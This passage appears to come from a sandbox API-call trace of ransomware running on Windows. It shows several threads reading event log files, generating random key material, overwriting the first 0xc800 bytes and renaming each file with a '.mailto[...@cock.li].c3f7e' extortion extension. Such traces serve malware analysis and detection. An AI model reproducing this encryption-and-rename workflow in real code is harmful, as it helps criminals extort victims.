	[0081.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e339b0
	[0081.453] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33910
	[0081.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33910) returned 1
	[0081.453] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.454] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.454] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x153) returned 0x2dc3d68
	[0081.454] SetFilePointerEx (in: hFile=0x1420, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.454] WriteFile (in: hFile=0x1420, lpBuffer=0x2dc3d68*, nNumberOfBytesToWrite=0x153, lpNumberOfBytesWritten=0xfabfbb8, lpOverlapped=0x0 | out: lpBuffer=0x2dc3d68*, lpNumberOfBytesWritten=0xfabfbb8*=0x153, lpOverlapped=0x0) returned 1
	[0081.466] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dc3d68) returned 1
	[0081.466] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0081.466] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339b0) returned 1
	[0081.466] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04c48) returned 1
	[0081.466] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33988) returned 1
	[0081.466] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33bb8) returned 1
	[0081.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33af0) returned 1
	[0081.467] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e338c0) returned 1
	[0081.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xba) returned 0x476c928
	[0081.467] wcscpy (in: _Dest=0x476c928, _Source="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx"
	[0081.467] wcscat (in: _Dest=0x476c928, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.467] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xfabfb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-International%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.467] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd0) returned 0x46a4a38
	[0081.467] NtSetInformationFile (FileHandle=0x1420, IoStatusBlock=0xfabfb68, FileInformation=0x46a4a38, Length=0xd0, FileInformationClass=0xa) returned 0x0
	[0087.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a4a38) returned 1
	[0087.880] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717f40) returned 1
	[0087.880] NtQueryInformationFile (in: FileHandle=0x1420, IoStatusBlock=0xfabfb7c, FileInformation=0xfabfb54, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xfabfb7c, FileInformation=0xfabfb54) returned 0x0
	[0087.880] NtSetInformationFile (FileHandle=0x1420, IoStatusBlock=0xfabfb7c, FileInformation=0xfabfb54, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.882] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476c928) returned 1
	[0087.882] FlushFileBuffers (hFile=0x1420) returned 1
	[0093.244] CloseHandle (hObject=0x1420) 

Thread:
	id = 373
	os_tid = 0x14fc

	[0076.914] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20
	[0080.460] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx", dwFileAttributes=0x20) returned 1
	[0080.460] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x98c
	[0080.460] GetFileSizeEx (in: hFile=0x98c, lpFileSize=0xfb3feb4 | out: lpFileSize=0xfb3feb4*=69632) returned 1
	[0080.460] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.460] ReadFile (in: hFile=0x98c, lpBuffer=0xfb3fe38, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfb3fe34, lpOverlapped=0x0 | out: lpBuffer=0xfb3fe38*, lpNumberOfBytesRead=0xfb3fe34*=0x4, lpOverlapped=0x0) returned 1
	[0080.625] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.626] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e344d8
	[0080.626] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34708
	[0080.626] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34500
	[0080.626] NtQuerySystemTime (in: CurrentTime=0xfb3fe14 | out: CurrentTime=0xfb3fe14*=132251868073588125) returned 0x0
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x2a096a40
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0xa2a567bd
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0xe9d4b3ca
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x66d6a90
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x79ced1c9
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x64e52d2
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x919e8650
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x3545e6c9
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x2d4692b6
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x4928cd20
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x9ad3f833
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x7f53080e
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x2d2fa7de
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x6b60da5
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0xddef5edf
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0xbc3bdc9d
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0xc0b7016d
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0xdfb052be
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x9e6bfb67
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x2499b6b9
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0xf59ab215
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x66deb8e2
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x75841612
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x554a4f6c
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x1bc62013
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x4679ce9
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0xfb07cc8b
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x40320d03
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0x429eb777
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0xad533faf
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0xa4be0d0d
	[0080.626] RtlRandom (in: Seed=0xfb3fe20 | out: Seed=0xfb3fe20) returned 0xaa98201f
	[0080.633] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e346e0
	[0080.635] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753c50
	[0080.635] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e345a0
	[0080.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753c50) returned 1
	[0080.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34500) returned 1
	[0080.635] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e344d8) returned 1
	[0080.635] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4e66080
	[0080.637] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0080.637] ReadFile (in: hFile=0x98c, lpBuffer=0x4e66080, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xfb3fdf4, lpOverlapped=0x0 | out: lpBuffer=0x4e66080*, lpNumberOfBytesRead=0xfb3fdf4*=0xc800, lpOverlapped=0x0) returned 1
	[0081.028] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x4753890
	[0081.028] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33ac8
	[0081.028] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33ac8) returned 1
	[0081.029] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4978038
	[0081.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33988
	[0081.030] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337d0
	[0081.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337d0) returned 1
	[0081.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4753890) returned 1
	[0081.030] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.030] WriteFile (in: hFile=0x98c, lpBuffer=0x4978038*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xfb3fdf4, lpOverlapped=0x0 | out: lpBuffer=0x4978038*, lpNumberOfBytesWritten=0xfb3fdf4*=0xc800, lpOverlapped=0x0) returned 1
	[0081.183] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4978038) returned 1
	[0081.185] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e66080) returned 1
	[0081.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6b) returned 0x2e04c48
	[0081.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa808
	[0081.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33910
	[0081.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33910) returned 1
	[0081.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6b) returned 0x2e04e28
	[0081.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33910
	[0081.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33938
	[0081.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33938) returned 1
	[0081.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.187] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa808) returned 1
	[0081.187] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x14f) returned 0x47cf268
	[0081.187] SetFilePointerEx (in: hFile=0x98c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.187] WriteFile (in: hFile=0x98c, lpBuffer=0x47cf268*, nNumberOfBytesToWrite=0x14f, lpNumberOfBytesWritten=0xfb3fe74, lpOverlapped=0x0 | out: lpBuffer=0x47cf268*, lpNumberOfBytesWritten=0xfb3fe74*=0x14f, lpOverlapped=0x0) returned 1
	[0081.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cf268) returned 1
	[0081.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04e28) returned 1
	[0081.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33910) returned 1
	[0081.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04c48) returned 1
	[0081.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33988) returned 1
	[0081.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34708) returned 1
	[0081.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e346e0) returned 1
	[0081.285] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e345a0) returned 1
	[0081.285] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x476a028
	[0081.285] wcscpy (in: _Dest=0x476a028, _Source="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx"
	[0081.285] wcscat (in: _Dest=0x476a028, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0081.285] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xfb3fe2c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0081.285] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x477c6e0
	[0081.285] NtSetInformationFile (FileHandle=0x98c, IoStatusBlock=0xfb3fe24, FileInformation=0x477c6e0, Length=0xcc, FileInformationClass=0xa) returned 0x0
	[0087.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c6e0) returned 1
	[0087.811] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4771298) returned 1
	[0087.811] NtQueryInformationFile (in: FileHandle=0x98c, IoStatusBlock=0xfb3fe38, FileInformation=0xfb3fe10, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xfb3fe38, FileInformation=0xfb3fe10) returned 0x0
	[0087.811] NtSetInformationFile (FileHandle=0x98c, IoStatusBlock=0xfb3fe38, FileInformation=0xfb3fe10, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0087.820] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476a028) returned 1
	[0087.821] FlushFileBuffers (hFile=0x98c) returned 1
	[0093.240] CloseHandle (hObject=0x98c) 

Thread:
	id = 374
	os_tid = 0x1500

	[0076.914] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx")) returned 0x20
	[0081.474] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", dwFileAttributes=0x20) returned 1
	[0081.477] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x141c
	[0081.477] GetFileSizeEx (in: hFile=0x141c, lpFileSize=0xfbbf9d0 | out: lpFileSize=0xfbbf9d0*=69632) returned 1
	[0081.477] SetFilePointerEx (in: hFile=0x141c, liDistanceToMove=0x10ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.477] ReadFile (in: hFile=0x141c, lpBuffer=0xfbbf954, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfbbf950, lpOverlapped=0x0 | out: lpBuffer=0xfbbf954*, lpNumberOfBytesRead=0xfbbf950*=0x4, lpOverlapped=0x0) returned 1
	[0081.478] SetFilePointerEx (in: hFile=0x141c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33bb8
	[0081.479] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33820
	[0081.479] NtQuerySystemTime (in: CurrentTime=0xfbbf930 | out: CurrentTime=0xfbbf930*=132251868082181683) returned 0x0
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x43fa7f06
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0xeada45c5
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x6e1ea739
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x755390c6
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0xd8122e1e
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x89419487
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x6abf22ac
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x82318b02
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x398a20ca
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0xedf12f5e
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x32b1bf65
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x44192790
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x1d675427
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0xae022a94
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x446b0d06
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0xdaaf3c36
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x8bd6fff3
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x66b317bf
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x48737357
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0xd9007491
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x2f6def1f
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0xe1342ad7
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x447a5987
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0xf44c0451
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x41220ff1
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x2e011c26
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0xb41b8837
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x2142c3b1
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x9624af05
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0xeb9783ea
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x1d8c7a95
	[0081.479] RtlRandom (in: Seed=0xfbbf93c | out: Seed=0xfbbf93c) returned 0x768654eb
	[0081.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33af0
	[0081.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04630
	[0081.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e338c0
	[0081.488] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04630) returned 1
	[0081.488] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33820) returned 1
	[0081.488] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.488] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48a3810
	[0081.488] SetFilePointerEx (in: hFile=0x141c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.488] ReadFile (in: hFile=0x141c, lpBuffer=0x48a3810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xfbbf910, lpOverlapped=0x0 | out: lpBuffer=0x48a3810*, lpNumberOfBytesRead=0xfbbf910*=0xc800, lpOverlapped=0x0) returned 1
	[0081.489] SetFilePointerEx (in: hFile=0x141c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.489] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfa928
	[0081.489] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e042e8
	[0081.489] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33b40
	[0081.489] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33b40) returned 1
	[0081.490] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f61fb0
	[0081.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33988
	[0081.491] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0081.491] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0081.491] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0081.491] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfa928) returned 1
	[0081.491] WriteFile (in: hFile=0x141c, lpBuffer=0x4f61fb0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xfbbf910, lpOverlapped=0x0 | out: lpBuffer=0x4f61fb0*, lpNumberOfBytesWritten=0xfbbf910*=0xc800, lpOverlapped=0x0) returned 1
	[0084.767] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f61fb0) returned 1
	[0084.769] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48a3810) returned 1
	[0084.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6f) returned 0x2e046a8
	[0084.772] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e343e8) returned 1
	[0084.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6f) returned 0x2e04180
	[0084.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34190
	[0084.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e34460
	[0084.772] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34460) returned 1
	[0084.772] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04018) returned 1
	[0084.772] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb348) returned 1
	[0084.772] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x153) returned 0x2d884f0
	[0084.772] SetFilePointerEx (in: hFile=0x141c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.773] WriteFile (in: hFile=0x141c, lpBuffer=0x2d884f0*, nNumberOfBytesToWrite=0x153, lpNumberOfBytesWritten=0xfbbf990, lpOverlapped=0x0 | out: lpBuffer=0x2d884f0*, lpNumberOfBytesWritten=0xfbbf990*=0x153, lpOverlapped=0x0) returned 1
	[0084.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d884f0) returned 1
	[0084.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0084.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34190) returned 1
	[0084.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e046a8) returned 1
	[0084.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33988) returned 1
	[0084.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33bb8) returned 1
	[0084.796] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33af0) returned 1
